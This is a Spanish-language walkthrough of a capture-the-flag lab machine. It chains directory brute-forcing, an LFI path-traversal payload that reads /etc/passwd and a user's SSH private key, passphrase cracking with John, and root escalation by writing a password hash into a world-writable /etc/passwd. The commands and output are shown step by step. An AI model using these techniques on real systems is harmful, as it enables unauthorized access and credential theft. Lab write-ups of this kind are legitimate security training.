Enumeración de servicios
El objetivo expone SSH y una página predeterminada de Apache. Como la portada no ofrece funcionalidad, revisamos archivos estándar como robots.txt y utilizamos su contenido para construir un diccionario específico del sitio:
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.186
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
...Enumeración web con un diccionario contextual
robots.txt contiene palabras que parecen pistas. CeWL las extrae y, dado el nombre de la máquina, transformamos el diccionario a leet (1337) antes de ejecutar Gobuster. La primera pasada descubre /n3gr4; una segunda, con el diccionario normalizado a minúsculas, encuentra m414nj3.php dentro de esa ruta:
❯ cewl -m 3 'http://192.168.1.186/robots.txt' > ./wordlist.txt
❯ gobuster dir -u 'http://192.168.1.186' -w ./wordlist_leet.txt -x php,txt,html,jpg,jpeg,sql,png,xml,zip,sh -r
...
/n3gr4 (Status: 200) [Size: 4]
...
❯ cat wordlist_leet.txt | tr '[:upper:]' '[:lower:]' > wordlist_leet_lower.txt
❯ gobuster dir -u 'http://192.168.1.186/n3gr4' -w ./wordlist_leet_lower.txt -x php,txt,html,jpg,jpeg,sql,png,xml,zip,sh -r
...
/m414nj3.php (Status: 500) [Size: 0]
...Explotación de la inclusión local de archivos
El estado 500 de m414nj3.php sugiere que necesita parámetros. Fuzzeamos sus nombres asignando /etc/passwd como valor; -fw 1 descarta la respuesta base y permite identificar page:
❯ ffuf -u 'http://192.168.1.186/n3gr4/m414nj3.php?FUZZ=../../../../../../../../../../../../../etc/passwd' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -fw 1
...
page [Status: 200, ...]
...
❯ curl 'http://192.168.1.186/n3gr4/m414nj3.php?page=/etc/passwd' | grep home
p4l4nc4:x:1000:1000:p4l4nc4,,,:/home/p4l4nc4:/bin/bashLa presencia del contenido de /etc/passwd confirma la LFI y revela una cuenta interactiva llamada p4l4nc4. Usamos la misma primitiva para descargar su clave privada SSH. Como está cifrada, ssh2john extrae un hash y John recupera su Weak Passphrase:
❯ curl 'http://192.168.1.186/n3gr4/m414nj3.php?page=/home/p4l4nc4/.ssh/id_rsa' -o id_rsa
❯ ssh2john.py id_rsa > hash
❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
friendster (id_rsa)
...
❯ ssh p4l4nc4@192.168.1.186 -i id_rsa
Enter passphrase for key 'id_rsa': friendster
...
p4l4nc4@4ng014:~$La clave permite iniciar sesión y recuperar la primera flag.
Detección de /etc/passwd escribible
Los permisos de /etc/passwd son 666, una condición de Writable Critical File que permite modificarlo desde una cuenta sin privilegios. Aunque los hashes modernos suelen residir en /etc/shadow, el campo de contraseña de /etc/passwd sigue siendo interpretado si contiene un hash válido:
p4l4nc4@4ng014:/tmp$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1066 Jan 24 10:55 /etc/passwdEscalada mediante modificación de /etc/passwd
Generamos el hash de la contraseña 1234 con Perl y sustituimos únicamente el segundo campo de la entrada de root, preservando UID, GID, home y shell. Después usamos su con la nueva contraseña:
❯ perl -e 'print crypt("1234","aa")'
aatxRPdZ/m52.
p4l4nc4@4ng014:/tmp$ nano /etc/passwd
p4l4nc4@4ng014:/tmp$ su root
Password: 1234
root@4ng014:/tmp#El prompt de root confirma la escalada. Con este acceso damos por completada la máquina.